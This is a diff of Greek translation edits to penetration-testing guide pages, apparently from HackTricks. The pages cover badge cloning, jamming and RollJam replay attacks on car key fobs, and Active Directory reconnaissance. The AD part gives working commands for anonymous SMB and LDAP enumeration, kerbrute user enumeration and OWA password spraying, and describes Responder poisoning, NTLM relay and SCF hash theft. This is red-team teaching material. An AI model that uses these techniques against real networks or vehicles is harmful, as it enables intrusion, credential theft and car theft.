χρειάζεστε μια **λύση μεγάλης εμβέλειας**, **με μπαταρία** για τη συλλογή των HID Prox® badges κατά τη διάρκεια επιθέσεων red-team, μπορείτε να μετατρέψετε τον τοίχο-τοποθετημένο **αναγνώστη HID MaxiProx 5375** σε έναν αυτόνομο κλώνο που χωράει σε ένα σακίδιο. Ο πλήρης μηχανικός και ηλεκτρικός οδηγός είναι διαθέσιμος εδώ: +Αν χρειάζεστε μια **λύση μεγάλης εμβέλειας**, **με μπαταρία** για τη συλλογή διακριτικών HID Prox® κατά τη διάρκεια επιθέσεων red-team, μπορείτε να μετατρέψετε τον τοίχο-τοποθετημένο αναγνώστη **HID MaxiProx 5375** σε έναν αυτόνομο κλωνοποιητή που χωράει σε ένα σακίδιο. Ο πλήρης μηχανικός και ηλεκτρικός οδηγός είναι διαθέσιμος εδώ: {{#ref}} maxiprox-mobile-cloner.md @@ -102,7 +102,7 @@ maxiprox-mobile-cloner.md --- -## References +## Αναφορές - [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) - [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together) diff --git a/src/todo/radio-hacking/sub-ghz-rf.md b/src/todo/radio-hacking/sub-ghz-rf.md index 8577a8b60..6763b4534 100644 --- a/src/todo/radio-hacking/sub-ghz-rf.md +++ b/src/todo/radio-hacking/sub-ghz-rf.md @@ -15,19 +15,19 @@
-Εάν αντί να στείλετε κάθε κωδικό 5 φορές (στάλθηκε έτσι για να βεβαιωθείτε ότι ο δέκτης τον λαμβάνει) στείλετε μόνο μία φορά, ο χρόνος μειώνεται σε 6 λεπτά: +Αν αντί να στείλετε κάθε κωδικό 5 φορές (στάλθηκε έτσι για να βεβαιωθείτε ότι ο δέκτης τον λαμβάνει) στείλετε μόνο μία φορά, ο χρόνος μειώνεται σε 6 λεπτά:
και αν **αφαιρέσετε την περίοδο αναμονής 2 ms** μεταξύ των σημάτων μπορείτε να **μειώσετε τον χρόνο σε 3 λεπτά.** -Επιπλέον, χρησιμοποιώντας την Ακολουθία De Bruijn (ένας τρόπος για να μειωθεί ο αριθμός των bits που χρειάζονται για να σταλούν όλοι οι δυαδικοί αριθμοί για brute force) αυτός ο **χρόνος μειώνεται μόλις σε 8 δευτερόλεπτα**: +Επιπλέον, χρησιμοποιώντας την Ακολουθία De Bruijn (ένας τρόπος για να μειωθεί ο αριθμός των bits που χρειάζονται για να σταλούν όλοι οι πιθανοί δυαδικοί αριθμοί για brute force) αυτός ο **χρόνος μειώνεται μόλις σε 8 δευτερόλεπτα**:
Παράδειγμα αυτής της επίθεσης έχει υλοποιηθεί στο [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame) -Η απαίτηση **προαπαιτούμενου θα αποτρέψει την βελτιστοποίηση της Ακολουθίας De Bruijn** και οι **κυλιόμενοι κωδικοί θα αποτρέψουν αυτή την επίθεση** (υποθέτοντας ότι ο κωδικός είναι αρκετά μεγάλος ώστε να μην είναι brute forceable). +Η απαίτηση **προακρόασης θα αποτρέψει την βελτιστοποίηση της Ακολουθίας De Bruijn** και οι **κυλιόμενοι κωδικοί θα αποτρέψουν αυτή την επίθεση** (υποθέτοντας ότι ο κωδικός είναι αρκετά μεγάλος ώστε να μην είναι brute forceable). ## Sub-GHz Attack @@ -53,19 +53,19 @@ flipper-zero/fz-sub-ghz.md ### Full Link Jamming Attack -Ένας επιτιθέμενος θα μπορούσε να **παρεμποδίσει το σήμα κοντά στο όχημα ή τον δέκτη** ώστε ο **δέκτης να μην μπορεί πραγματικά να ‘ακούσει’ τον κωδικό**, και μόλις συμβαίνει αυτό μπορείτε απλά να **καταγράψετε και να επαναλάβετε** τον κωδικό όταν έχετε σταματήσει την παρεμβολή. +Ένας επιτιθέμενος θα μπορούσε να **παρεμποδίσει το σήμα κοντά στο όχημα ή τον δέκτη** ώστε ο **δέκτης να μην μπορεί πραγματικά να ‘ακούσει’ τον κωδικό**, και μόλις συμβαίνει αυτό μπορείτε απλά να **καταγράψετε και να επαναλάβετε** τον κωδικό όταν έχετε σταματήσει την παρεμπόδιση. -Το θύμα σε κάποια στιγμή θα χρησιμοποιήσει τα **κλειδιά για να κλειδώσει το αυτοκίνητο**, αλλά τότε η επίθεση θα έχει **καταγράψει αρκετούς "κωδικούς κλειδώματος"** που ελπίζουμε να μπορούν να ξανασταλούν για να ανοίξουν την πόρτα (μια **αλλαγή συχνότητας μπορεί να είναι απαραίτητη** καθώς υπάρχουν αυτοκίνητα που χρησιμοποιούν τους ίδιους κωδικούς για να ανοίγουν και να κλείνουν αλλά ακούνε και τις δύο εντολές σε διαφορετικές συχνότητες). +Το θύμα σε κάποιο σημείο θα χρησιμοποιήσει τα **κλειδιά για να κλειδώσει το αυτοκίνητο**, αλλά τότε η επίθεση θα έχει **καταγράψει αρκετούς "κωδικούς κλεισίματος"** που ελπίζουμε να μπορούν να ξανασταλούν για να ανοίξουν την πόρτα (μια **αλλαγή συχνότητας μπορεί να είναι απαραίτητη** καθώς υπάρχουν αυτοκίνητα που χρησιμοποιούν τους ίδιους κωδικούς για να ανοίγουν και να κλείνουν αλλά ακούνε και τις δύο εντολές σε διαφορετικές συχνότητες). > [!WARNING] -> **Η παρεμβολή λειτουργεί**, αλλά είναι αισθητή καθώς αν ο **άνθρωπος που κλειδώνει το αυτοκίνητο απλά δοκιμάσει τις πόρτες** για να βεβαιωθεί ότι είναι κλειδωμένες θα παρατηρήσει ότι το αυτοκίνητο είναι ξεκλείδωτο. Επιπλέον, αν ήταν ενήμερος για τέτοιες επιθέσεις θα μπορούσε ακόμη και να ακούσει το γεγονός ότι οι πόρτες δεν έκαναν ποτέ τον ήχο **κλειδώματος** ή τα **φώτα** του αυτοκινήτου δεν αναβόσβησαν ποτέ όταν πάτησε το κουμπί ‘κλειδώματος’. +> **Η παρεμπόδιση λειτουργεί**, αλλά είναι αισθητή καθώς αν ο **άνθρωπος που κλειδώνει το αυτοκίνητο απλά δοκιμάσει τις πόρτες** για να βεβαιωθεί ότι είναι κλειδωμένες θα παρατηρήσει ότι το αυτοκίνητο είναι ξεκλείδωτο. Επιπλέον, αν ήταν ενήμερος για τέτοιες επιθέσεις θα μπορούσε ακόμη και να ακούσει το γεγονός ότι οι πόρτες δεν έκαναν ποτέ τον ήχο **κλειδώματος** ή τα φώτα του αυτοκινήτου **δεν αναβόσβησαν** όταν πάτησε το κουμπί ‘κλειδώματος’. ### **Code Grabbing Attack ( aka ‘RollJam’ )** -Αυτή είναι μια πιο **διακριτική τεχνική παρεμβολής**. Ο επιτιθέμενος θα παρεμποδίσει το σήμα, έτσι όταν το θύμα προσπαθήσει να κλειδώσει την πόρτα δεν θα λειτουργήσει, αλλά ο επιτιθέμενος θα **καταγράψει αυτόν τον κωδικό**. Στη συνέχεια, το θύμα θα **προσπαθήσει να κλειδώσει το αυτοκίνητο ξανά** πατώντας το κουμπί και το αυτοκίνητο θα **καταγράψει αυτόν τον δεύτερο κωδικό**.\ -Άμεσα μετά από αυτό, ο **επιτιθέμενος μπορεί να στείλει τον πρώτο κωδικό** και το **αυτοκίνητο θα κλειδώσει** (το θύμα θα νομίζει ότι η δεύτερη πίεση το έκλεισε). Στη συνέχεια, ο επιτιθέμενος θα μπορεί να **στείλει τον δεύτερο κλεμμένο κωδικό για να ανοίξει** το αυτοκίνητο (υποθέτοντας ότι ένας **κωδικός "κλειδώματος αυτοκινήτου" μπορεί επίσης να χρησιμοποιηθεί για να το ανοίξει**). Μια αλλαγή συχνότητας μπορεί να είναι απαραίτητη (καθώς υπάρχουν αυτοκίνητα που χρησιμοποιούν τους ίδιους κωδικούς για να ανοίγουν και να κλείνουν αλλά ακούνε και τις δύο εντολές σε διαφορετικές συχνότητες). +Αυτή είναι μια πιο **διακριτική τεχνική παρεμπόδισης**. Ο επιτιθέμενος θα παρεμποδίσει το σήμα, έτσι όταν το θύμα προσπαθήσει να κλειδώσει την πόρτα δεν θα λειτουργήσει, αλλά ο επιτιθέμενος θα **καταγράψει αυτόν τον κωδικό**. Στη συνέχεια, το θύμα θα **προσπαθήσει να κλειδώσει το αυτοκίνητο ξανά** πατώντας το κουμπί και το αυτοκίνητο θα **καταγράψει αυτόν τον δεύτερο κωδικό**.\ +Αμέσως μετά, ο **επιτιθέμενος μπορεί να στείλει τον πρώτο κωδικό** και το **αυτοκίνητο θα κλειδώσει** (το θύμα θα νομίζει ότι η δεύτερη πίεση το έκλεισε). Στη συνέχεια, ο επιτιθέμενος θα μπορεί να **στείλει τον δεύτερο κλεμμένο κωδικό για να ανοίξει** το αυτοκίνητο (υποθέτοντας ότι ένας **κωδικός "κλειδώματος αυτοκινήτου" μπορεί επίσης να χρησιμοποιηθεί για να το ανοίξει**). Μια αλλαγή συχνότητας μπορεί να είναι απαραίτητη (καθώς υπάρχουν αυτοκίνητα που χρησιμοποιούν τους ίδιους κωδικούς για να ανοίγουν και να κλείνουν αλλά ακούνε και τις δύο εντολές σε διαφορετικές συχνότητες). -Ο επιτιθέμενος μπορεί να **παρεμποδίσει τον δέκτη του αυτοκινήτου και όχι τον δικό του δέκτη** γιατί αν ο δέκτης του αυτοκινήτου ακούει για παράδειγμα σε ένα 1MHz ευρύ φάσμα, ο επιτιθέμενος δεν θα **παρεμποδίσει** τη συγκεκριμένη συχνότητα που χρησιμοποιείται από το τηλεχειριστήριο αλλά **μια κοντινή σε αυτό το φάσμα** ενώ ο **δέκτης του επιτιθέμενου θα ακούει σε μια μικρότερη περιοχή** όπου μπορεί να ακούσει το σήμα του τηλεχειριστηρίου **χωρίς το σήμα παρεμβολής**. +Ο επιτιθέμενος μπορεί να **παρεμποδίσει τον δέκτη του αυτοκινήτου και όχι τον δικό του δέκτη** γιατί αν ο δέκτης του αυτοκινήτου ακούει, για παράδειγμα, σε ένα ευρύ φάσμα 1MHz, ο επιτιθέμενος δεν θα **παρεμποδίσει** τη συγκεκριμένη συχνότητα που χρησιμοποιείται από το τηλεχειριστήριο αλλά **μια κοντινή σε αυτό το φάσμα** ενώ ο **δέκτης του επιτιθέμενου θα ακούει σε μια μικρότερη περιοχή** όπου μπορεί να ακούσει το σήμα του τηλεχειριστηρίου **χωρίς το σήμα παρεμπόδισης**. > [!WARNING] > Άλλες υλοποιήσεις που έχουν παρατηρηθεί σε προδιαγραφές δείχνουν ότι ο **κυλιόμενος κωδικός είναι ένα τμήμα** του συνολικού κωδικού που αποστέλλεται. Δηλαδή, ο κωδικός που αποστέλλεται είναι ένα **24 bit κλειδί** όπου τα πρώτα **12 είναι ο κυλιόμενος κωδικός**, τα **δεύτερα 8 είναι η εντολή** (όπως κλείδωμα ή ξεκλείδωμα) και τα τελευταία 4 είναι το **checksum**. Τα οχήματα που υλοποιούν αυτόν τον τύπο είναι επίσης φυσικά ευάλωτα καθώς ο επιτιθέμενος χρειάζεται απλώς να αντικαταστήσει το τμήμα του κυλιόμενου κωδικού για να μπορέσει να **χρησιμοποιήσει οποιονδήποτε κυλιόμενο κωδικό και στις δύο συχνότητες**. @@ -75,7 +75,7 @@ flipper-zero/fz-sub-ghz.md ### Alarm Sounding Jamming Attack -Δοκιμάζοντας έναν aftermarket κυλιόμενο κωδικό σύστημα εγκατεστημένο σε ένα αυτοκίνητο, **η αποστολή του ίδιου κωδικού δύο φορές** αμέσως **ενεργοποίησε τον συναγερμό** και τον ακινητοποιητή παρέχοντας μια μοναδική **ευκαιρία άρνησης υπηρεσίας**. Σαρκαστικά, ο τρόπος **απενεργοποίησης του συναγερμού** και του ακινητοποιητή ήταν να **πατήσετε** το **τηλεχειριστήριο**, παρέχοντας στον επιτιθέμενο τη δυνατότητα να **εκτελεί συνεχώς επίθεση DoS**. Ή να συνδυάσει αυτή την επίθεση με την **προηγούμενη για να αποκτήσει περισσότερους κωδικούς** καθώς το θύμα θα ήθελε να σταματήσει την επίθεση το συντομότερο δυνατό. +Δοκιμάζοντας έναν aftermarket κυλιόμενο κωδικό σύστημα εγκατεστημένο σε ένα αυτοκίνητο, **η αποστολή του ίδιου κωδικού δύο φορές** αμέσως **ενεργοποίησε τον συναγερμό** και τον ακινητοποιητή παρέχοντας μια μοναδική **ευκαιρία άρνησης υπηρεσίας**. Σαρκαστικά, ο τρόπος **απενεργοποίησης του συναγερμού** και του ακινητοποιητή ήταν να **πατήσετε** το **τηλεχειριστήριο**, παρέχοντας στον επιτιθέμενο τη δυνατότητα να **εκτελεί συνεχώς επίθεση DoS**. Ή να συνδυάσετε αυτή την επίθεση με την **προηγούμενη για να αποκτήσετε περισσότερους κωδικούς** καθώς το θύμα θα ήθελε να σταματήσει την επίθεση το συντομότερο δυνατό. ## References diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 3dd8fa8fd..6a468378f 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -6,7 +6,7 @@ **Active Directory** λειτουργεί ως θεμελιώδης τεχνολογία, επιτρέποντας στους **διαχειριστές δικτύου** να δημιουργούν και να διαχειρίζονται αποτελεσματικά **τομείς**, **χρήστες** και **αντικείμενα** εντός ενός δικτύου. Είναι σχεδιασμένο να κλιμακώνεται, διευκολύνοντας την οργάνωση ενός εκτενούς αριθμού χρηστών σε διαχειρίσιμες **ομάδες** και **υποομάδες**, ενώ ελέγχει τα **δικαιώματα πρόσβασης** σε διάφορα επίπεδα. -Η δομή του **Active Directory** αποτελείται από τρία κύρια επίπεδα: **τομείς**, **δέντρα** και **δάση**. Ένας **τομέας** περιλαμβάνει μια συλλογή αντικειμένων, όπως **χρήστες** ή **συσκευές**, που μοιράζονται μια κοινή βάση δεδομένων. Τα **δέντρα** είναι ομάδες αυτών των τομέων που συνδέονται μέσω μιας κοινής δομής, και ένα **δάσος** αντιπροσωπεύει τη συλλογή πολλών δέντρων, διασυνδεδεμένων μέσω **σχέσεων εμπιστοσύνης**, σχηματίζοντας το ανώτατο επίπεδο της οργανωτικής δομής. Συγκεκριμένα **δικαιώματα πρόσβασης** και **δικαιώματα επικοινωνίας** μπορούν να καθοριστούν σε καθένα από αυτά τα επίπεδα. +Η δομή του **Active Directory** αποτελείται από τρία κύρια επίπεδα: **τομείς**, **δέντρα** και **δάση**. Ένας **τομέας** περιλαμβάνει μια συλλογή αντικειμένων, όπως **χρήστες** ή **συσκευές**, που μοιράζονται μια κοινή βάση δεδομένων. Τα **δέντρα** είναι ομάδες αυτών των τομέων που συνδέονται μέσω μιας κοινής δομής, και ένα **δάσος** αντιπροσωπεύει τη συλλογή πολλών δέντρων, διασυνδεδεμένων μέσω **σχέσεων εμπιστοσύνης**, σχηματίζοντας το ανώτατο επίπεδο της οργανωτικής δομής. Συγκεκριμένα **δικαιώματα πρόσβασης** και **επικοινωνίας** μπορούν να καθοριστούν σε καθένα από αυτά τα επίπεδα. Βασικές έννοιες εντός του **Active Directory** περιλαμβάνουν: @@ -29,7 +29,7 @@ ### **Kerberos Authentication** -Για να μάθετε πώς να **επιτεθείτε σε ένα AD**, πρέπει να **κατανοήσετε** πολύ καλά τη **διαδικασία αυθεντικοποίησης Kerberos**.\ +Για να μάθετε πώς να **επιτεθείτε σε ένα AD**, πρέπει να **κατανοήσετε** πολύ καλά τη διαδικασία **αυθεντικοποίησης Kerberos**.\ [**Διαβάστε αυτή τη σελίδα αν δεν ξέρετε πώς λειτουργεί.**](kerberos-authentication.md) ## Cheat Sheet @@ -39,21 +39,22 @@ > [!WARNING] > Η επικοινωνία Kerberos **απαιτεί ένα πλήρες καθορισμένο όνομα (FQDN)** για την εκτέλεση ενεργειών. Αν προσπαθήσετε να αποκτήσετε πρόσβαση σε μια μηχανή μέσω της διεύθυνσης IP, **θα χρησιμοποιήσει NTLM και όχι Kerberos**. -## Recon Active Directory (Χωρίς διαπιστευτήρια/συνεδρίες) +## Recon Active Directory (No creds/sessions) -Αν έχετε πρόσβαση σε ένα περιβάλλον AD αλλά δεν έχετε διαπιστευτήρια/συνεδρίες, μπορείτε να: +Αν έχετε πρόσβαση σε ένα περιβάλλον AD αλλά δεν έχετε καμία διαπιστευτήρια/συνεδρίες, μπορείτε να: -- **Δοκιμάσετε το δίκτυο:** +- **Pentest το δίκτυο:** - Σαρώστε το δίκτυο, βρείτε μηχανές και ανοιχτές θύρες και προσπαθήστε να **εκμεταλλευτείτε ευπάθειες** ή **να εξάγετε διαπιστευτήρια** από αυτές (για παράδειγμα, [οι εκτυπωτές θα μπορούσαν να είναι πολύ ενδιαφέροντες στόχοι](ad-information-in-printers.md)). - Η καταγραφή DNS θα μπορούσε να δώσει πληροφορίες σχετικά με βασικούς διακομιστές στο τομέα όπως ιστότοπους, εκτυπωτές, κοινές χρήσεις, vpn, μέσα κ.λπ. - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` -- Ρίξτε μια ματιά στη Γενική [**Μεθοδολογία Δοκιμών Διείσδυσης**](../../generic-methodologies-and-resources/pentesting-methodology.md) για περισσότερες πληροφορίες σχετικά με το πώς να το κάνετε αυτό. -- **Ελέγξτε για πρόσβαση null και Guest σε υπηρεσίες smb** (αυτό δεν θα λειτουργήσει σε σύγχρονες εκδόσεις Windows): +- Ρίξτε μια ματιά στη Γενική [**Μεθοδολογία Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) για περισσότερες πληροφορίες σχετικά με το πώς να το κάνετε αυτό. +- **Ελέγξτε για null και Guest πρόσβαση σε υπηρεσίες smb** (αυτό δεν θα λειτουργήσει σε σύγχρονες εκδόσεις Windows): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` - `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` - Ένας πιο λεπτομερής οδηγός για το πώς να καταγράψετε έναν διακομιστή SMB μπορεί να βρεθεί εδώ: + {{#ref}} ../../network-services-pentesting/pentesting-smb/ {{#endref}} @@ -62,26 +63,27 @@ - `nmap -n -sV --script "ldap* and not brute" -p 389 ` - Ένας πιο λεπτομερής οδηγός για το πώς να καταγράψετε LDAP μπορεί να βρεθεί εδώ (δώστε **ιδιαίτερη προσοχή στην ανώνυμη πρόσβαση**): + {{#ref}} ../../network-services-pentesting/pentesting-ldap.md {{#endref}} - **Δηλητηριάστε το δίκτυο** -- Συγκεντρώστε διαπιστευτήρια [**υποδυόμενοι υπηρεσίες με Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -- Αποκτήστε πρόσβαση σε υπολογιστή [**καταχρώντας την επίθεση relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) +- Συγκεντρώστε διαπιστευτήρια [**μιμούμενοι υπηρεσίες με Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +- Αποκτήστε πρόσβαση σε υπολογιστή [**καταχρώντας την επίθεση αναμετάδοσης**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) - Συγκεντρώστε διαπιστευτήρια **εκθέτοντας** [**ψεύτικες υπηρεσίες UPnP με evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): - Εξάγετε ονόματα χρηστών/ονόματα από εσωτερικά έγγραφα, κοινωνικά δίκτυα, υπηρεσίες (κυρίως ιστότοπους) εντός των περιβαλλόντων τομέα και επίσης από δημόσια διαθέσιμα. -- Αν βρείτε τα πλήρη ονόματα των εργαζομένων της εταιρείας, μπορείτε να δοκιμάσετε διάφορες συμβάσεις **ονόματος χρήστη AD** (**[διαβάστε αυτό](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Οι πιο κοινές συμβάσεις είναι: _NameSurname_, _Name.Surname_, _NamSur_ (3 γράμματα από το καθένα), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _τυχαία γράμματα και 3 τυχαίοι αριθμοί_ (abc123). +- Αν βρείτε τα πλήρη ονόματα των εργαζομένων της εταιρείας, μπορείτε να δοκιμάσετε διάφορες **συμβάσεις ονοματοδοσίας χρηστών AD** (**[διαβάστε αυτό](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Οι πιο κοινές συμβάσεις είναι: _NameSurname_, _Name.Surname_, _NamSur_ (3 γράμματα από το καθένα), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _τυχαία γράμματα και 3 τυχαίοι αριθμοί_ (abc123). - Εργαλεία: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) ### User enumeration -- **Ανώνυμη SMB/LDAP καταγραφή:** Ελέγξτε τις σελίδες [**δοκιμών SMB**](../../network-services-pentesting/pentesting-smb/index.html) και [**δοκιμών LDAP**](../../network-services-pentesting/pentesting-ldap.md). -- **Kerbrute καταγραφή**: Όταν ζητείται ένα **μη έγκυρο όνομα χρήστη**, ο διακομιστής θα απαντήσει χρησιμοποιώντας τον **κωδικό σφάλματος Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το όνομα χρήστη ήταν μη έγκυρο. **Έγκυρα ονόματα χρήστη** θα προκαλέσουν είτε την **TGT σε μια απάντηση AS-REP** είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι απαιτείται από τον χρήστη να εκτελέσει προαυθεντικοποίηση. -- **Καμία Αυθεντικοποίηση κατά MS-NRPC**: Χρησιμοποιώντας auth-level = 1 (Καμία αυθεντικοποίηση) κατά της διεπαφής MS-NRPC (Netlogon) στους ελεγκτές τομέα. Η μέθοδος καλεί τη λειτουργία `DsrGetDcNameEx2` μετά τη σύνδεση της διεπαφής MS-NRPC για να ελέγξει αν ο χρήστης ή ο υπολογιστής υπάρχει χωρίς διαπιστευτήρια. Το εργαλείο [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) υλοποιεί αυτόν τον τύπο καταγραφής. Η έρευνα μπορεί να βρεθεί [εδώ](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) +- **Ανώνυμη SMB/LDAP enum:** Ελέγξτε τις σελίδες [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) και [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md). +- **Kerbrute enum**: Όταν ζητείται ένα **μη έγκυρο όνομα χρήστη**, ο διακομιστής θα απαντήσει χρησιμοποιώντας τον **κωδικό σφάλματος Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, επιτρέποντάς μας να προσδιορίσουμε ότι το όνομα χρήστη ήταν μη έγκυρο. **Έγκυρα ονόματα χρηστών** θα προκαλέσουν είτε την **TGT σε μια απάντηση AS-REP** είτε το σφάλμα _KRB5KDC_ERR_PREAUTH_REQUIRED_, υποδεικνύοντας ότι απαιτείται από τον χρήστη να εκτελέσει προαυθεντικοποίηση. +- **Χωρίς Αυθεντικοποίηση κατά MS-NRPC**: Χρησιμοποιώντας auth-level = 1 (Χωρίς αυθεντικοποίηση) κατά της διεπαφής MS-NRPC (Netlogon) στους ελεγκτές τομέα. Η μέθοδος καλεί τη λειτουργία `DsrGetDcNameEx2` μετά τη σύνδεση της διεπαφής MS-NRPC για να ελέγξει αν ο χρήστης ή ο υπολογιστής υπάρχει χωρίς καμία διαπιστευτήρια. Το εργαλείο [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) υλοποιεί αυτόν τον τύπο καταγραφής. Η έρευνα μπορεί να βρεθεί [εδώ](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -108,9 +110,9 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> Μπορείτε να βρείτε λίστες χρηστών σε [**αυτό το github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) και σε αυτό ([**στατιστικά πιθανών χρηστών**](https://github.com/insidetrust/statistically-likely-usernames)). +> Μπορείτε να βρείτε λίστες ονομάτων χρηστών σε [**αυτό το github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) και σε αυτό ([**στατιστικά πιθανών ονομάτων χρηστών**](https://github.com/insidetrust/statistically-likely-usernames)). > -> Ωστόσο, θα πρέπει να έχετε το **όνομα των ατόμων που εργάζονται στην εταιρεία** από το βήμα αναγνώρισης που θα έπρεπε να έχετε εκτελέσει πριν από αυτό. Με το όνομα και το επώνυμο μπορείτε να χρησιμοποιήσετε το σενάριο [**namemash.py**](https://gist.github.com/superkojiman/11076951) για να δημιουργήσετε πιθανές έγκυρες ονόματα χρηστών. +> Ωστόσο, θα πρέπει να έχετε το **όνομα των ατόμων που εργάζονται στην εταιρεία** από το βήμα αναγνώρισης που θα έπρεπε να έχετε εκτελέσει πριν από αυτό. Με το όνομα και το επώνυμο μπορείτε να χρησιμοποιήσετε το σενάριο [**namemash.py**](https://gist.github.com/superkojiman/11076951) για να δημιουργήσετε πιθανά έγκυρα ονόματα χρηστών. ### Γνωρίζοντας ένα ή περισσότερα ονόματα χρηστών @@ -126,7 +128,7 @@ password-spraying.md ### LLMNR/NBT-NS Poisoning -Μπορεί να είστε σε θέση να **αποκτήσετε** κάποιες προκλήσεις **hashes** για να σπάσετε **δηλητηριάζοντας** κάποια πρωτόκολλα του **δικτύου**: +Μπορείτε να **αποκτήσετε** κάποιες προκλήσεις **hashes** για να σπάσετε **δηλητηριάζοντας** κάποια πρωτόκολλα του **δικτύου**: {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -134,11 +136,11 @@ password-spraying.md ### NTLM Relay -Αν έχετε καταφέρει να καταγράψετε το active directory θα έχετε **περισσότερα email και καλύτερη κατανόηση του δικτύου**. Μπορεί να είστε σε θέση να αναγκάσετε NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) για να αποκτήσετε πρόσβαση στο περιβάλλον AD. +Αν έχετε καταφέρει να καταγράψετε το Active Directory, θα έχετε **περισσότερα emails και καλύτερη κατανόηση του δικτύου**. Μπορείτε να αναγκάσετε NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) για να αποκτήσετε πρόσβαση στο περιβάλλον AD. ### Κλοπή NTLM Creds -Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινόχρηστους φακέλους** με τον **null ή guest user** μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο αποκτηθούν θα **ενεργοποιήσουν μια NTLM αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε: +Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινόχρηστους φακέλους** με τον **null ή guest user**, μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν αποκτηθούν με κάποιο τρόπο θα **ενεργοποιήσουν μια NTLM αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -146,9 +148,9 @@ password-spraying.md ## Καταγραφή Active Directory ΜΕ πιστοποιήσεις/συνεδρία -Για αυτή τη φάση χρειάζεστε να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια κονσόλα ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**. +Για αυτή τη φάση πρέπει να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια shell ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**. -Πριν ξεκινήσετε την αυθεντικοποιημένη καταγραφή θα πρέπει να γνωρίζετε ποιο είναι το **πρόβλημα διπλού άλματος Kerberos.** +Πριν ξεκινήσετε την αυθεντικοποιημένη καταγραφή, θα πρέπει να γνωρίζετε ποιο είναι το **πρόβλημα διπλού άλματος Kerberos.** {{#ref}} kerberos-double-hop-problem.md @@ -158,12 +160,12 @@ 